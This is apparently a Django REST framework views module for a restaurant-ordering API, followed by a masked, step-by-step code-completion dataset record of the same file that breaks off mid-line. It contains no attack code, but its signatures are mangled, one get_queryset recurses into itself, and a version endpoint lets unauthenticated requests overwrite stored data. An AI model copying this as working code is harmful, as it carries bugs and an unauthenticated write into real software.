RestaurantTypeSerializer permission_classes = [my_perms.IsAdminOrReadOnly] queryset = RestaurantType.objects.all() class RestaurantViewSet(ModelViewSet): serializer_class = RestaurantSerializer permission_classes = [permissions.IsAuthenticatedOrReadOnly] queryset = Restaurant.objects.all() def _get_recommended_restaurants(self) -> queryset: queryset = self.get_queryset() recommended = queryset.all().annotate(rates_avg=Avg('rates__stars')) return recommended def _get_special_restaurants(self) -> queryset: queryset = self.get_queryset() special_offers_restaurants = queryset.filter(Q(menus__discount__gt=0) \| Q(on_special_day=True)) return special_offers_restaurants @action(['get'], detail=False, url_path="get-home") def home(self, request, args, *kwargs): recommended = self._get_recommended_restaurants().order_by('?')[:5] special = self._get_special_restaurants().order_by('?')[:5] all_restaurants = self.get_queryset().order_by('?')[:5] recommended = self.get_serializer(recommended, many=True).data special = self.get_serializer(special, many=True).data all_restaurants = self.get_serializer(all_restaurants, many=True).data response = { 'recommended': recommended, 'special': special, 'all': all_restaurants } return Response(response) @action(['get'], detail=False, url_path="special-offers") def special_offers(self, request, args, *kwargs): serializer = self.get_serializer(self._get_special_restaurants().order_by('-created_at'), many=True) return Response(serializer.data) @action(['get'], detail=False, url_path="recommended-offers") def recommended_offers(self, request, args, *kwargs): serializer = self.get_serializer(self._get_recommended_restaurants().order_by('-rates_avg'), many=True) return Response(serializer.data) @action(['get'], detail=True, url_path="restaurant-menus") def get_restaurant_menus(self, request, args, *kwargs): categorized_menus = Menu.objects.grouped_by_meal_type_for_a_restaurant(restaurant_id=self.kwargs.get('pk')) return Response(categorized_menus) class MenuViewSet(ModelViewSet): serializer_class = MenuSerializer permission_classes = [permissions.IsAuthenticatedOrReadOnly] queryset = Menu.objects.all() @action(['get'], detail=False, url_path="get-home") def home(self, request, args, *kwargs): queryset = self.get_queryset() special_offers = queryset.filter(~Q(discount=0)).order_by('?')[:5] recommended = queryset.all().order_by('?')[:5] special_offers = self.get_serializer(special_offers, many=True).data recommended = self.get_serializer(recommended, many=True).data response = { 'recommended': recommended, 'special_offers': special_offers } return Response(data=response) @action(['get'], detail=False, url_path="special-offers") def special_offers(self, request, args, *kwargs): queryset = self.get_queryset() special_offers = queryset.filter(~Q(discount=0)).order_by('-created_at') serializer = self.get_serializer(special_offers, many=True) return Response(serializer.data) @action(['get'], detail=False, url_path="recommended-offers") def recommended_offers(self, request, args, *kwargs): queryset = self.get_queryset() recommended = queryset.all().order_by('-created_at') serializer = self.get_serializer(recommended, many=True) return Response(serializer.data) class OrderViewSet(ModelViewSet): serializer_class = OrderWRestaurantSerializer permission_classes = [permissions.IsAuthenticated] queryset = Order.objects.all().order_by('-created_at') def get_serializer(self, args, *kwargs): if self.action == "create": return OrderSerializer(args, *kwargs) return super(OrderViewSet, self).get_serializer(args, *kwargs) def get_queryset(self): return super(OrderViewSet, self).get_queryset().filter(client=self.request.user.client) def create(self, request, args, *kwargs): fixer = RequestDataFixer(request=request) return super(OrderViewSet, self).create(fixer, args, *kwargs) class OrderLineViewSet(ModelViewSet): serializer_class = OrderLineSerializer permission_classes = [permissions.IsAuthenticatedOrReadOnly] queryset = OrderLine.objects.all() class WilayaViewSet(ModelViewSet): serializer_class = WilayaSerializer permission_classes = [my_perms.IsAdminOrReadOnly] queryset = Wilaya.objects.all() class CityViewSet(ModelViewSet): serializer_class = CitySerializer permission_classes = [my_perms.IsAdminOrReadOnly] queryset = City.objects.all() def version(request): print('inside this') if request.GET.get('code', None): code = request.GET.get('code') AppVersion.objects.all().update(code=code) return JsonResponse({'updated': True}) else: code = AppVersion.objects.all().first().code return JsonResponse({'code': code}) class AddressViewSet(ModelViewSet): serializer_class = AddressSerializer permission_classes = [permissions.IsAuthenticatedOrReadOnly] queryset = Address.objects.all() @action(['PUT'], detail=True, url_path="set-default", url_name='set-default') def set_default(self, request, args, *kwargs): instance = self.get_object() instance.default = True instance.save() self.get_queryset().filter(~Q(pk=instance.pk), belongs_to=request.user.client).update(default=False) return Response(self.get_serializer(instance).data) @action(['PUT'], detail=False, url_path="set-main", url_name='set-main') def set_main(self, request, args, *kwargs): self.get_queryset().filter(belongs_to=request.user.client).update(default=False) return Response({"status": True}) def get_queryset(self): return super(AddressViewSet, self).get_queryset().filter(belongs_to=self.request.user.client) class PhoneViewSet(ModelViewSet): permission_classes = [permissions.IsAuthenticatedOrReadOnly] serializer_class = PhoneSerializer queryset = Phone.objects.all() @action(['PUT'], detail=False, url_path="set-main", url_name='set-main') def set_main(self, request, args, *kwargs): self.get_queryset().filter(user=request.user).update(default=False) return Response({"status": True}) @action(['PUT'], detail=True, url_path="set-default", url_name='set-default') def set_default(self, request, args, **kwargs): instance = self.get_object() instance.default = True instance.save() self.get_queryset().filter(~Q(pk=instance.pk), user=request.user).update(default=False) return Response(self.get_serializer(instance).data) def get_queryset(self): return self.get_queryset().filter(user=self.request.user)	flexible	{ "blob_id": "9e8b5cebd48b3b98e421c896d9835ada5ec4166e", "index": 2740, "step-1": "<mask token>\n\n\nclass RestaurantViewSet(ModelViewSet):\n serializer_class = RestaurantSerializer\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n queryset = Restaurant.objects.all()\n\n def _get_recommended_restaurants(self) ->queryset:\n queryset = self.get_queryset()\n recommended = queryset.all().annotate(rates_avg=Avg('rates__stars'))\n return recommended\n\n def _get_special_restaurants(self) ->queryset:\n queryset = self.get_queryset()\n special_offers_restaurants = queryset.filter(Q(menus__discount__gt=\n 0) \| Q(on_special_day=True))\n return special_offers_restaurants\n\n @action(['get'], detail=False, url_path='get-home')\n def home(self, request, args, kwargs):\n recommended = self._get_recommended_restaurants().order_by('?')[:5]\n special = self._get_special_restaurants().order_by('?')[:5]\n all_restaurants = self.get_queryset().order_by('?')[:5]\n recommended = self.get_serializer(recommended, many=True).data\n special = self.get_serializer(special, many=True).data\n all_restaurants = self.get_serializer(all_restaurants, many=True).data\n response = {'recommended': recommended, 'special': special, 'all':\n all_restaurants}\n return Response(response)\n\n @action(['get'], detail=False, url_path='special-offers')\n def special_offers(self, request, args, *kwargs):\n serializer = self.get_serializer(self._get_special_restaurants().\n order_by('-created_at'), many=True)\n return Response(serializer.data)\n\n @action(['get'], detail=False, url_path='recommended-offers')\n def recommended_offers(self, request, args, *kwargs):\n serializer = self.get_serializer(self._get_recommended_restaurants(\n ).order_by('-rates_avg'), many=True)\n return Response(serializer.data)\n\n @action(['get'], detail=True, url_path='restaurant-menus')\n def get_restaurant_menus(self, request, args, *kwargs):\n categorized_menus = Menu.objects.grouped_by_meal_type_for_a_restaurant(\n restaurant_id=self.kwargs.get('pk'))\n return Response(categorized_menus)\n\n\nclass MenuViewSet(ModelViewSet):\n serializer_class = MenuSerializer\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n queryset = Menu.objects.all()\n\n @action(['get'], detail=False, url_path='get-home')\n def home(self, request, args, *kwargs):\n queryset = self.get_queryset()\n special_offers = queryset.filter(~Q(discount=0)).order_by('?')[:5]\n recommended = queryset.all().order_by('?')[:5]\n special_offers = self.get_serializer(special_offers, many=True).data\n recommended = self.get_serializer(recommended, many=True).data\n response = {'recommended': recommended, 'special_offers':\n special_offers}\n return Response(data=response)\n\n @action(['get'], detail=False, url_path='special-offers')\n def special_offers(self, request, args, *kwargs):\n queryset = self.get_queryset()\n special_offers = queryset.filter(~Q(discount=0)).order_by('-created_at'\n )\n serializer = self.get_serializer(special_offers, many=True)\n return Response(serializer.data)\n\n @action(['get'], detail=False, url_path='recommended-offers')\n def recommended_offers(self, request, args, *kwargs):\n queryset = self.get_queryset()\n recommended = queryset.all().order_by('-created_at')\n serializer = self.get_serializer(recommended, many=True)\n return Response(serializer.data)\n\n\nclass OrderViewSet(ModelViewSet):\n serializer_class = OrderWRestaurantSerializer\n permission_classes = [permissions.IsAuthenticated]\n queryset = Order.objects.all().order_by('-created_at')\n\n def get_serializer(self, args, *kwargs):\n if self.action == 'create':\n return OrderSerializer(args, *kwargs)\n return super(OrderViewSet, self).get_serializer(args, *kwargs)\n\n def get_queryset(self):\n return super(OrderViewSet, self).get_queryset().filter(client=self.\n request.user.client)\n\n def create(self, request, args, *kwargs):\n fixer = RequestDataFixer(request=request)\n return super(OrderViewSet, self).create(fixer, args, *kwargs)\n\n\nclass OrderLineViewSet(ModelViewSet):\n serializer_class = OrderLineSerializer\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n queryset = OrderLine.objects.all()\n\n\nclass WilayaViewSet(ModelViewSet):\n serializer_class = WilayaSerializer\n permission_classes = [my_perms.IsAdminOrReadOnly]\n queryset = Wilaya.objects.all()\n\n\nclass CityViewSet(ModelViewSet):\n serializer_class = CitySerializer\n permission_classes = [my_perms.IsAdminOrReadOnly]\n queryset = City.objects.all()\n\n\n<mask token>\n\n\nclass AddressViewSet(ModelViewSet):\n serializer_class = AddressSerializer\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n queryset = Address.objects.all()\n\n @action(['PUT'], detail=True, url_path='set-default', url_name=\n 'set-default')\n def set_default(self, request, args, *kwargs):\n instance = self.get_object()\n instance.default = True\n instance.save()\n self.get_queryset().filter(~Q(pk=instance.pk), belongs_to=request.\n user.client).update(default=False)\n return Response(self.get_serializer(instance).data)\n\n @action(['PUT'], detail=False, url_path='set-main', url_name='set-main')\n def set_main(self, request, args, *kwargs):\n self.get_queryset().filter(belongs_to=request.user.client).update(\n default=False)\n return Response({'status': True})\n\n def get_queryset(self):\n return super(AddressViewSet, self).get_queryset().filter(belongs_to\n =self.request.user.client)\n\n\nclass PhoneViewSet(ModelViewSet):\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n serializer_class = PhoneSerializer\n queryset = Phone.objects.all()\n\n @action(['PUT'], detail=False, url_path='set-main', url_name='set-main')\n def set_main(self, request, args, *kwargs):\n self.get_queryset().filter(user=request.user).update(default=False)\n return Response({'status': True})\n\n @action(['PUT'], detail=True, url_path='set-default', url_name=\n 'set-default')\n def set_default(self, request, args, *kwargs):\n instance = self.get_object()\n instance.default = True\n instance.save()\n self.get_queryset().filter(~Q(pk=instance.pk), user=request.user\n ).update(default=False)\n return Response(self.get_serializer(instance).data)\n\n def get_queryset(self):\n return self.get_queryset().filter(user=self.request.user)\n", "step-2": "<mask token>\n\n\nclass MealTypeViewSet(ModelViewSet):\n permission_classes = [my_perms.IsAdminOrReadOnly]\n serializer_class = MealTypeSerializer\n queryset = MealType.objects.all()\n\n def get_serializer(self, args, *kwargs):\n if self.action == 'get_types_with_menus':\n serializer_class = MealTypesWithMenuSerializer\n kwargs['context'] = self.get_serializer_context()\n return serializer_class(args, *kwargs)\n return super(MealTypeViewSet, self).get_serializer(args, *kwargs)\n\n @action(['get'], detail=False, url_path='type-with-menus')\n def get_types_with_menus(self, request, args, *kwargs):\n types = self.get_queryset().filter(menus__offered_by=request.\n query_params.get('restaurant', 0))\n types = self.get_serializer(types, many=True).data\n return Response(types)\n\n\nclass RestaurantTypeViewSet(ModelViewSet):\n serializer_class = RestaurantTypeSerializer\n permission_classes = [my_perms.IsAdminOrReadOnly]\n queryset = RestaurantType.objects.all()\n\n\nclass RestaurantViewSet(ModelViewSet):\n serializer_class = RestaurantSerializer\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n queryset = Restaurant.objects.all()\n\n def _get_recommended_restaurants(self) ->queryset:\n queryset = self.get_queryset()\n recommended = queryset.all().annotate(rates_avg=Avg('rates__stars'))\n return recommended\n\n def _get_special_restaurants(self) ->queryset:\n queryset = self.get_queryset()\n special_offers_restaurants = queryset.filter(Q(menus__discount__gt=\n 0) \| Q(on_special_day=True))\n return special_offers_restaurants\n\n @action(['get'], detail=False, url_path='get-home')\n def home(self, request, args, *kwargs):\n recommended = self._get_recommended_restaurants().order_by('?')[:5]\n special = self._get_special_restaurants().order_by('?')[:5]\n all_restaurants = self.get_queryset().order_by('?')[:5]\n recommended = self.get_serializer(recommended, many=True).data\n special = self.get_serializer(special, many=True).data\n all_restaurants = self.get_serializer(all_restaurants, many=True).data\n response = {'recommended': recommended, 'special': special, 'all':\n all_restaurants}\n return Response(response)\n\n @action(['get'], detail=False, url_path='special-offers')\n def special_offers(self, request, args, *kwargs):\n serializer = self.get_serializer(self._get_special_restaurants().\n order_by('-created_at'), many=True)\n return Response(serializer.data)\n\n @action(['get'], detail=False, url_path='recommended-offers')\n def recommended_offers(self, request, args, *kwargs):\n serializer = self.get_serializer(self._get_recommended_restaurants(\n ).order_by('-rates_avg'), many=True)\n return Response(serializer.data)\n\n @action(['get'], detail=True, url_path='restaurant-menus')\n def get_restaurant_menus(self, request, args, *kwargs):\n categorized_menus = Menu.objects.grouped_by_meal_type_for_a_restaurant(\n restaurant_id=self.kwargs.get('pk'))\n return Response(categorized_menus)\n\n\nclass MenuViewSet(ModelViewSet):\n serializer_class = MenuSerializer\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n queryset = Menu.objects.all()\n\n @action(['get'], detail=False, url_path='get-home')\n def home(self, request, args, *kwargs):\n queryset = self.get_queryset()\n special_offers = queryset.filter(~Q(discount=0)).order_by('?')[:5]\n recommended = queryset.all().order_by('?')[:5]\n special_offers = self.get_serializer(special_offers, many=True).data\n recommended = self.get_serializer(recommended, many=True).data\n response = {'recommended': recommended, 'special_offers':\n special_offers}\n return Response(data=response)\n\n @action(['get'], detail=False, url_path='special-offers')\n def special_offers(self, request, args, *kwargs):\n queryset = self.get_queryset()\n special_offers = queryset.filter(~Q(discount=0)).order_by('-created_at'\n )\n serializer = self.get_serializer(special_offers, many=True)\n return Response(serializer.data)\n\n @action(['get'], detail=False, url_path='recommended-offers')\n def recommended_offers(self, request, args, *kwargs):\n queryset = self.get_queryset()\n recommended = queryset.all().order_by('-created_at')\n serializer = self.get_serializer(recommended, many=True)\n return Response(serializer.data)\n\n\nclass OrderViewSet(ModelViewSet):\n serializer_class = OrderWRestaurantSerializer\n permission_classes = [permissions.IsAuthenticated]\n queryset = Order.objects.all().order_by('-created_at')\n\n def get_serializer(self, args, *kwargs):\n if self.action == 'create':\n return OrderSerializer(args, *kwargs)\n return super(OrderViewSet, self).get_serializer(args, *kwargs)\n\n def get_queryset(self):\n return super(OrderViewSet, self).get_queryset().filter(client=self.\n request.user.client)\n\n def create(self, request, args, *kwargs):\n fixer = RequestDataFixer(request=request)\n return super(OrderViewSet, self).create(fixer, args, *kwargs)\n\n\nclass OrderLineViewSet(ModelViewSet):\n serializer_class = OrderLineSerializer\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n queryset = OrderLine.objects.all()\n\n\nclass WilayaViewSet(ModelViewSet):\n serializer_class = WilayaSerializer\n permission_classes = [my_perms.IsAdminOrReadOnly]\n queryset = Wilaya.objects.all()\n\n\nclass CityViewSet(ModelViewSet):\n serializer_class = CitySerializer\n permission_classes = [my_perms.IsAdminOrReadOnly]\n queryset = City.objects.all()\n\n\n<mask token>\n\n\nclass AddressViewSet(ModelViewSet):\n serializer_class = AddressSerializer\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n queryset = Address.objects.all()\n\n @action(['PUT'], detail=True, url_path='set-default', url_name=\n 'set-default')\n def set_default(self, request, args, *kwargs):\n instance = self.get_object()\n instance.default = True\n instance.save()\n self.get_queryset().filter(~Q(pk=instance.pk), belongs_to=request.\n user.client).update(default=False)\n return Response(self.get_serializer(instance).data)\n\n @action(['PUT'], detail=False, url_path='set-main', url_name='set-main')\n def set_main(self, request, args, *kwargs):\n self.get_queryset().filter(belongs_to=request.user.client).update(\n default=False)\n return Response({'status': True})\n\n def get_queryset(self):\n return super(AddressViewSet, self).get_queryset().filter(belongs_to\n =self.request.user.client)\n\n\nclass PhoneViewSet(ModelViewSet):\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n serializer_class = PhoneSerializer\n queryset = Phone.objects.all()\n\n @action(['PUT'], detail=False, url_path='set-main', url_name='set-main')\n def set_main(self, request, args, *kwargs):\n self.get_queryset().filter(user=request.user).update(default=False)\n return Response({'status': True})\n\n @action(['PUT'], detail=True, url_path='set-default', url_name=\n 'set-default')\n def set_default(self, request, args, *kwargs):\n instance = self.get_object()\n instance.default = True\n instance.save()\n self.get_queryset().filter(~Q(pk=instance.pk), user=request.user\n ).update(default=False)\n return Response(self.get_serializer(instance).data)\n\n def get_queryset(self):\n return self.get_queryset().filter(user=self.request.user)\n", "step-3": "<mask token>\n\n\nclass CuisineViewSet(ModelViewSet):\n <mask token>\n <mask token>\n <mask token>\n\n\nclass MealTypeViewSet(ModelViewSet):\n permission_classes = [my_perms.IsAdminOrReadOnly]\n serializer_class = MealTypeSerializer\n queryset = MealType.objects.all()\n\n def get_serializer(self, args, *kwargs):\n if self.action == 'get_types_with_menus':\n serializer_class = MealTypesWithMenuSerializer\n kwargs['context'] = self.get_serializer_context()\n return serializer_class(args, *kwargs)\n return super(MealTypeViewSet, self).get_serializer(args, *kwargs)\n\n @action(['get'], detail=False, url_path='type-with-menus')\n def get_types_with_menus(self, request, args, *kwargs):\n types = self.get_queryset().filter(menus__offered_by=request.\n query_params.get('restaurant', 0))\n types = self.get_serializer(types, many=True).data\n return Response(types)\n\n\nclass RestaurantTypeViewSet(ModelViewSet):\n serializer_class = RestaurantTypeSerializer\n permission_classes = [my_perms.IsAdminOrReadOnly]\n queryset = RestaurantType.objects.all()\n\n\nclass RestaurantViewSet(ModelViewSet):\n serializer_class = RestaurantSerializer\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n queryset = Restaurant.objects.all()\n\n def _get_recommended_restaurants(self) ->queryset:\n queryset = self.get_queryset()\n recommended = queryset.all().annotate(rates_avg=Avg('rates__stars'))\n return recommended\n\n def _get_special_restaurants(self) ->queryset:\n queryset = self.get_queryset()\n special_offers_restaurants = queryset.filter(Q(menus__discount__gt=\n 0) \| Q(on_special_day=True))\n return special_offers_restaurants\n\n @action(['get'], detail=False, url_path='get-home')\n def home(self, request, args, *kwargs):\n recommended = self._get_recommended_restaurants().order_by('?')[:5]\n special = self._get_special_restaurants().order_by('?')[:5]\n all_restaurants = self.get_queryset().order_by('?')[:5]\n recommended = self.get_serializer(recommended, many=True).data\n special = self.get_serializer(special, many=True).data\n all_restaurants = self.get_serializer(all_restaurants, many=True).data\n response = {'recommended': recommended, 'special': special, 'all':\n all_restaurants}\n return Response(response)\n\n @action(['get'], detail=False, url_path='special-offers')\n def special_offers(self, request, args, *kwargs):\n serializer = self.get_serializer(self._get_special_restaurants().\n order_by('-created_at'), many=True)\n return Response(serializer.data)\n\n @action(['get'], detail=False, url_path='recommended-offers')\n def recommended_offers(self, request, args, *kwargs):\n serializer = self.get_serializer(self._get_recommended_restaurants(\n ).order_by('-rates_avg'), many=True)\n return Response(serializer.data)\n\n @action(['get'], detail=True, url_path='restaurant-menus')\n def get_restaurant_menus(self, request, args, *kwargs):\n categorized_menus = Menu.objects.grouped_by_meal_type_for_a_restaurant(\n restaurant_id=self.kwargs.get('pk'))\n return Response(categorized_menus)\n\n\nclass MenuViewSet(ModelViewSet):\n serializer_class = MenuSerializer\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n queryset = Menu.objects.all()\n\n @action(['get'], detail=False, url_path='get-home')\n def home(self, request, args, *kwargs):\n queryset = self.get_queryset()\n special_offers = queryset.filter(~Q(discount=0)).order_by('?')[:5]\n recommended = queryset.all().order_by('?')[:5]\n special_offers = self.get_serializer(special_offers, many=True).data\n recommended = self.get_serializer(recommended, many=True).data\n response = {'recommended': recommended, 'special_offers':\n special_offers}\n return Response(data=response)\n\n @action(['get'], detail=False, url_path='special-offers')\n def special_offers(self, request, args, *kwargs):\n queryset = self.get_queryset()\n special_offers = queryset.filter(~Q(discount=0)).order_by('-created_at'\n )\n serializer = self.get_serializer(special_offers, many=True)\n return Response(serializer.data)\n\n @action(['get'], detail=False, url_path='recommended-offers')\n def recommended_offers(self, request, args, *kwargs):\n queryset = self.get_queryset()\n recommended = queryset.all().order_by('-created_at')\n serializer = self.get_serializer(recommended, many=True)\n return Response(serializer.data)\n\n\nclass OrderViewSet(ModelViewSet):\n serializer_class = OrderWRestaurantSerializer\n permission_classes = [permissions.IsAuthenticated]\n queryset = Order.objects.all().order_by('-created_at')\n\n def get_serializer(self, args, *kwargs):\n if self.action == 'create':\n return OrderSerializer(args, *kwargs)\n return super(OrderViewSet, self).get_serializer(args, *kwargs)\n\n def get_queryset(self):\n return super(OrderViewSet, self).get_queryset().filter(client=self.\n request.user.client)\n\n def create(self, request, args, *kwargs):\n fixer = RequestDataFixer(request=request)\n return super(OrderViewSet, self).create(fixer, args, *kwargs)\n\n\nclass OrderLineViewSet(ModelViewSet):\n serializer_class = OrderLineSerializer\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n queryset = OrderLine.objects.all()\n\n\nclass WilayaViewSet(ModelViewSet):\n serializer_class = WilayaSerializer\n permission_classes = [my_perms.IsAdminOrReadOnly]\n queryset = Wilaya.objects.all()\n\n\nclass CityViewSet(ModelViewSet):\n serializer_class = CitySerializer\n permission_classes = [my_perms.IsAdminOrReadOnly]\n queryset = City.objects.all()\n\n\n<mask token>\n\n\nclass AddressViewSet(ModelViewSet):\n serializer_class = AddressSerializer\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n queryset = Address.objects.all()\n\n @action(['PUT'], detail=True, url_path='set-default', url_name=\n 'set-default')\n def set_default(self, request, args, *kwargs):\n instance = self.get_object()\n instance.default = True\n instance.save()\n self.get_queryset().filter(~Q(pk=instance.pk), belongs_to=request.\n user.client).update(default=False)\n return Response(self.get_serializer(instance).data)\n\n @action(['PUT'], detail=False, url_path='set-main', url_name='set-main')\n def set_main(self, request, args, *kwargs):\n self.get_queryset().filter(belongs_to=request.user.client).update(\n default=False)\n return Response({'status': True})\n\n def get_queryset(self):\n return super(AddressViewSet, self).get_queryset().filter(belongs_to\n =self.request.user.client)\n\n\nclass PhoneViewSet(ModelViewSet):\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n serializer_class = PhoneSerializer\n queryset = Phone.objects.all()\n\n @action(['PUT'], detail=False, url_path='set-main', url_name='set-main')\n def set_main(self, request, args, *kwargs):\n self.get_queryset().filter(user=request.user).update(default=False)\n return Response({'status': True})\n\n @action(['PUT'], detail=True, url_path='set-default', url_name=\n 'set-default')\n def set_default(self, request, args, *kwargs):\n instance = self.get_object()\n instance.default = True\n instance.save()\n self.get_queryset().filter(~Q(pk=instance.pk), user=request.user\n ).update(default=False)\n return Response(self.get_serializer(instance).data)\n\n def get_queryset(self):\n return self.get_queryset().filter(user=self.request.user)\n", "step-4": "<mask token>\n\n\nclass CuisineViewSet(ModelViewSet):\n serializer_class = CuisineSerializer\n permission_classes = [my_perms.IsAdminOrReadOnly]\n queryset = Cuisine.objects.all()\n\n\nclass MealTypeViewSet(ModelViewSet):\n permission_classes = [my_perms.IsAdminOrReadOnly]\n serializer_class = MealTypeSerializer\n queryset = MealType.objects.all()\n\n def get_serializer(self, args, *kwargs):\n if self.action == 'get_types_with_menus':\n serializer_class = MealTypesWithMenuSerializer\n kwargs['context'] = self.get_serializer_context()\n return serializer_class(args, *kwargs)\n return super(MealTypeViewSet, self).get_serializer(args, *kwargs)\n\n @action(['get'], detail=False, url_path='type-with-menus')\n def get_types_with_menus(self, request, args, *kwargs):\n types = self.get_queryset().filter(menus__offered_by=request.\n query_params.get('restaurant', 0))\n types = self.get_serializer(types, many=True).data\n return Response(types)\n\n\nclass RestaurantTypeViewSet(ModelViewSet):\n serializer_class = RestaurantTypeSerializer\n permission_classes = [my_perms.IsAdminOrReadOnly]\n queryset = RestaurantType.objects.all()\n\n\nclass RestaurantViewSet(ModelViewSet):\n serializer_class = RestaurantSerializer\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n queryset = Restaurant.objects.all()\n\n def _get_recommended_restaurants(self) ->queryset:\n queryset = self.get_queryset()\n recommended = queryset.all().annotate(rates_avg=Avg('rates__stars'))\n return recommended\n\n def _get_special_restaurants(self) ->queryset:\n queryset = self.get_queryset()\n special_offers_restaurants = queryset.filter(Q(menus__discount__gt=\n 0) \| Q(on_special_day=True))\n return special_offers_restaurants\n\n @action(['get'], detail=False, url_path='get-home')\n def home(self, request, args, *kwargs):\n recommended = self._get_recommended_restaurants().order_by('?')[:5]\n special = self._get_special_restaurants().order_by('?')[:5]\n all_restaurants = self.get_queryset().order_by('?')[:5]\n recommended = self.get_serializer(recommended, many=True).data\n special = self.get_serializer(special, many=True).data\n all_restaurants = self.get_serializer(all_restaurants, many=True).data\n response = {'recommended': recommended, 'special': special, 'all':\n all_restaurants}\n return Response(response)\n\n @action(['get'], detail=False, url_path='special-offers')\n def special_offers(self, request, args, *kwargs):\n serializer = self.get_serializer(self._get_special_restaurants().\n order_by('-created_at'), many=True)\n return Response(serializer.data)\n\n @action(['get'], detail=False, url_path='recommended-offers')\n def recommended_offers(self, request, args, *kwargs):\n serializer = self.get_serializer(self._get_recommended_restaurants(\n ).order_by('-rates_avg'), many=True)\n return Response(serializer.data)\n\n @action(['get'], detail=True, url_path='restaurant-menus')\n def get_restaurant_menus(self, request, args, *kwargs):\n categorized_menus = Menu.objects.grouped_by_meal_type_for_a_restaurant(\n restaurant_id=self.kwargs.get('pk'))\n return Response(categorized_menus)\n\n\nclass MenuViewSet(ModelViewSet):\n serializer_class = MenuSerializer\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n queryset = Menu.objects.all()\n\n @action(['get'], detail=False, url_path='get-home')\n def home(self, request, args, *kwargs):\n queryset = self.get_queryset()\n special_offers = queryset.filter(~Q(discount=0)).order_by('?')[:5]\n recommended = queryset.all().order_by('?')[:5]\n special_offers = self.get_serializer(special_offers, many=True).data\n recommended = self.get_serializer(recommended, many=True).data\n response = {'recommended': recommended, 'special_offers':\n special_offers}\n return Response(data=response)\n\n @action(['get'], detail=False, url_path='special-offers')\n def special_offers(self, request, args, *kwargs):\n queryset = self.get_queryset()\n special_offers = queryset.filter(~Q(discount=0)).order_by('-created_at'\n )\n serializer = self.get_serializer(special_offers, many=True)\n return Response(serializer.data)\n\n @action(['get'], detail=False, url_path='recommended-offers')\n def recommended_offers(self, request, args, *kwargs):\n queryset = self.get_queryset()\n recommended = queryset.all().order_by('-created_at')\n serializer = self.get_serializer(recommended, many=True)\n return Response(serializer.data)\n\n\nclass OrderViewSet(ModelViewSet):\n serializer_class = OrderWRestaurantSerializer\n permission_classes = [permissions.IsAuthenticated]\n queryset = Order.objects.all().order_by('-created_at')\n\n def get_serializer(self, args, *kwargs):\n if self.action == 'create':\n return OrderSerializer(args, *kwargs)\n return super(OrderViewSet, self).get_serializer(args, *kwargs)\n\n def get_queryset(self):\n return super(OrderViewSet, self).get_queryset().filter(client=self.\n request.user.client)\n\n def create(self, request, args, *kwargs):\n fixer = RequestDataFixer(request=request)\n return super(OrderViewSet, self).create(fixer, args, *kwargs)\n\n\nclass OrderLineViewSet(ModelViewSet):\n serializer_class = OrderLineSerializer\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n queryset = OrderLine.objects.all()\n\n\nclass WilayaViewSet(ModelViewSet):\n serializer_class = WilayaSerializer\n permission_classes = [my_perms.IsAdminOrReadOnly]\n queryset = Wilaya.objects.all()\n\n\nclass CityViewSet(ModelViewSet):\n serializer_class = CitySerializer\n permission_classes = [my_perms.IsAdminOrReadOnly]\n queryset = City.objects.all()\n\n\n<mask token>\n\n\nclass AddressViewSet(ModelViewSet):\n serializer_class = AddressSerializer\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n queryset = Address.objects.all()\n\n @action(['PUT'], detail=True, url_path='set-default', url_name=\n 'set-default')\n def set_default(self, request, args, *kwargs):\n instance = self.get_object()\n instance.default = True\n instance.save()\n self.get_queryset().filter(~Q(pk=instance.pk), belongs_to=request.\n user.client).update(default=False)\n return Response(self.get_serializer(instance).data)\n\n @action(['PUT'], detail=False, url_path='set-main', url_name='set-main')\n def set_main(self, request, args, *kwargs):\n self.get_queryset().filter(belongs_to=request.user.client).update(\n default=False)\n return Response({'status': True})\n\n def get_queryset(self):\n return super(AddressViewSet, self).get_queryset().filter(belongs_to\n =self.request.user.client)\n\n\nclass PhoneViewSet(ModelViewSet):\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n serializer_class = PhoneSerializer\n queryset = Phone.objects.all()\n\n @action(['PUT'], detail=False, url_path='set-main', url_name='set-main')\n def set_main(self, request, args, *kwargs):\n self.get_queryset().filter(user=request.user).update(default=False)\n return Response({'status': True})\n\n @action(['PUT'], detail=True, url_path='set-default', url_name=\n 'set-default')\n def set_default(self, request, args, *kwargs):\n instance = self.get_object()\n instance.default = True\n instance.save()\n self.get_queryset().filter(~Q(pk=instance.pk), user=request.user\n ).update(default=False)\n return Response(self.get_serializer(instance).data)\n\n def get_queryset(self):\n return self.get_queryset().filter(user=self.request.user)\n", "step-5": "from django.db.models import Q, Avg\nfrom django.http import JsonResponse\nfrom rest_framework import permissions\nfrom rest_framework.authtoken.models import Token\nfrom rest_framework.authtoken.views import ObtainAuthToken\nfrom rest_framework.decorators import action\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\nfrom rest_framework.viewsets import ModelViewSet\n\nfrom base_backend import permissions as my_perms\nfrom base_backend.utils import RequestDataFixer\nfrom restaurants.models import User, Cuisine, MealType, AppVersion, RestaurantType, Restaurant, Menu, Order, OrderLine, \\\n Wilaya, City, Address, Phone\nfrom restaurants.serializers import UserSerializer, SmsConfirmationSerializer, CuisineSerializer, \\\n RestaurantTypeSerializer, RestaurantSerializer, MenuSerializer, OrderLineSerializer, WilayaSerializer, \\\n CitySerializer, OrderWRestaurantSerializer, MealTypesWithMenuSerializer, MealTypeSerializer, OrderSerializer, \\\n AddressSerializer, PhoneSerializer\n\n\nclass 